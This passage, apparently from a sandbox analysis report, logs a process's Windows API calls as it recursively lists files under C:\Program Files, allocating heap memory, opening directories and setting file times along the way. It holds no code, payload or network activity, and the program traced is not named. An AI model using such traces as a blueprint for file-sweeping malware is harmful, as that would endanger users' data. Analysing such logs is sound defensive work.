RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee4400 [0055.515] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee4400) returned 1 [0055.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee4400 [0055.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf05380 [0055.515] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xf06f58 [0055.515] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee4400) returned 1 [0055.515] FindNextFileW (in: hFindFile=0x459bb8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 0 [0055.515] GetLastError () returned 0x12 [0055.515] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459cf8 [0055.515] FindClose (in: hFindFile=0x459bb8 | out: hFindFile=0x459bb8) returned 1 [0055.515] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.515] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1 [0055.515] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8aabb7e, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8aabb7e, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll.mui", cAlternateFileName="")) returned 1 [0055.515] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb93886, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb93886, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll.mui", cAlternateFileName="")) returned 1 [0055.515] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 1 [0055.515] FindNextFileW (in: hFindFile=0x459cf8, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ad1e37, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x8e65f8f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x8ad1e37, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 0 [0055.515] GetLastError () returned 0x12 [0055.515] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee4378) returned 1 [0055.515] FindClose (in: hFindFile=0x459cf8 | out: hFindFile=0x459cf8) returned 1 [0055.516] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4a78) returned 1 [0055.516] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee38d8) returned 1 [0055.516] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad34e79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ad34e79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ad5afda, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0055.516] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14cd0c35, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14cd0c35, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x349a6d70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaps.dll", cAlternateFileName="")) returned 1 [0055.516] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c0138a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86c0138a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86c0138a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasql.dll", cAlternateFileName="")) returned 1 [0055.516] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab69cf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x2ab69cf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x838ac7b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll", cAlternateFileName="")) returned 1 [0055.516] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3c3a6b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc3c3a6b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x349f2860, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdatl3.dll", cAlternateFileName="")) returned 1 [0055.516] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d2cdc0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x1d2cdc0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x383128c0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msxactps.dll", cAlternateFileName="")) returned 1 [0055.516] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c2ad0f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84c2ad0f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84c50e6f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32.dll", cAlternateFileName="")) returned 1 [0055.516] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfabf604b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfabf604b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xdf9a48f0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll", cAlternateFileName="")) returned 1 [0055.516] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa4ffde2f, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x264c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbjvs.inc", cAlternateFileName="")) returned 1 [0055.516] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa52d1816, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x26f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbvbs.inc", cAlternateFileName="")) returned 1 [0055.516] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f0bf91, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92f0bf91, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92f320f1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x128000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.dll", cAlternateFileName="")) returned 1 [0055.516] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc9350f, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xcc9350f, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xcc210f8, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll", cAlternateFileName="")) returned 1 [0055.516] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14f7e4bf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14f7e4bf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x44773fc0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x59000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.dll", cAlternateFileName="")) returned 1 [0055.516] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e5c85, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc9e5c85, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xc97386e, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 1 [0055.516] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x5f34af90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x44e18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrw.dll", cAlternateFileName="")) returned 1 [0055.516] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 1 [0055.516] FindNextFileW (in: hFindFile=0x459d38, lpFindFileData=0x17aec88 | out: lpFindFileData=0x17aec88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc7a4200, ftCreationTime.dwHighDateTime=0x1c8e202, ftLastAccessTime.dwLowDateTime=0x516f5b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbc7a4200, ftLastWriteTime.dwHighDateTime=0x1c8e202, nFileSizeHigh=0x0, nFileSizeLow=0x30a18, dwReserved0=0x0, dwReserved1=0x0, cFileName="xmlrwbin.dll", cAlternateFileName="")) returned 0 [0055.516] GetLastError () returned 0x12 [0055.516] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0055.516] FindClose (in: hFindFile=0x459d38 | out: hFindFile=0x459d38) returned 1 [0055.516] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed44a0) returned 1 [0055.517] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3ec8) returned 1 [0055.517] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc5390a1, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xcc5390a1, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x4556f160, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xd8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0055.517] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 1 [0055.517] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17aef40 | out: lpFindFileData=0x17aef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0f46d56, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0xc0f46d56, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x1f9ed5b0, ftLastWriteTime.dwHighDateTime=0x1ca0423, nFileSizeHigh=0x0, nFileSizeLow=0x10c400, dwReserved0=0x0, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 0 [0055.517] GetLastError () returned 0x12 [0055.517] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed4060) returned 1 [0055.517] FindClose (in: hFindFile=0x459c78 | out: hFindFile=0x459c78) returned 1 [0055.517] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3f50) returned 1 [0055.517] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xed3e40) returned 1 [0055.517] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0055.517] GetLastError () returned 0x12 [0055.517] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f258) returned 1 [0055.517] FindClose (in: hFindFile=0x459bf8 | out: hFindFile=0x459bf8) returned 1 [0055.517] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f2e0) returned 1 [0055.517] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0055.517] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0055.517] FindNextFileW (in: hFindFile=0x459b78, lpFindFileData=0x17af4b0 | out: lpFindFileData=0x17af4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d17a490, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x1d17a490, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVD Maker", cAlternateFileName="")) returned 1 [0055.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0055.518] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker" (normalized: "c:\\program files\\dvd maker"), fInfoLevelId=0x0, lpFileInformation=0x17af3ac | out: lpFileInformation=0x17af3ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d17a490, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x1d17a490, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0055.518] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker" (normalized: "c:\\program files\\dvd maker"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x168 [0055.518] SetFileTime (hFile=0x168, lpCreationTime=0x0, lpLastAccessTime=0x17af3f0, lpLastWriteTime=0x17af3f0) returned 0 [0055.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x4000) returned 0xf09cb0 [0055.518] DeviceIoControl (in: hDevice=0x168, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf09cb0, nOutBufferSize=0x4000, lpBytesReturned=0x17af448, lpOverlapped=0x0 | out: lpOutBuffer=0xf09cb0, lpBytesReturned=0x17af448, lpOverlapped=0x0) returned 0 [0055.518] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xf09cb0) returned 1 [0055.518] NtClose (Handle=0x168) returned 0x0 [0055.518] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30f698) returned 1 [0055.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f698 [0055.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f2e0 [0055.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30f258 [0055.518] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\*", fInfoLevelId=0x1, lpFindFileData=0x17af1f8, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17af1f8) returned 0x459bf8 [0055.518] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1d17a490, ftLastAccessTime.dwHighDateTime=0x1d59598, ftLastWriteTime.dwLowDateTime=0x1d17a490, ftLastWriteTime.dwHighDateTime=0x1d59598, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0055.518] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ed7565, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0ed7565, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0efd6c5, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x0, dwReserved1=0x0, cFileName="audiodepthconverter.ax", cAlternateFileName="")) returned 1 [0055.518] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0055.519] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0055.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0055.519] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0055.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0055.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf053a0 [0055.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee38d8 [0055.519] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0055.519] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x499cc441, ftCreationTime.dwHighDateTime=0x1c9ea0f, ftLastAccessTime.dwLowDateTime=0x499cc441, ftLastAccessTime.dwHighDateTime=0x1c9ea0f, ftLastWriteTime.dwLowDateTime=0x499cc441, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1303c, dwReserved0=0x0, dwReserved1=0x0, cFileName="bod_r.TTF", cAlternateFileName="")) returned 1 [0055.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0055.519] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0055.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0055.519] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0055.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0055.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf053c0 [0055.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee4378 [0055.519] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0055.519] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0eb1404, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb0eb1404, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb0ed7565, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="directshowtap.ax", cAlternateFileName="")) returned 1 [0055.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0055.519] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0055.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0055.519] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0055.519] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0055.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xf053e0 [0055.520] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee4400 [0055.520] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0055.520] FindNextFileW (in: hFindFile=0x459bf8, lpFindFileData=0x17af1f8 | out: lpFindFileData=0x17af1f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ae6642, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xc9ae6642, ftLastAccessTime.dwHighDateTime=0x1ca0419, 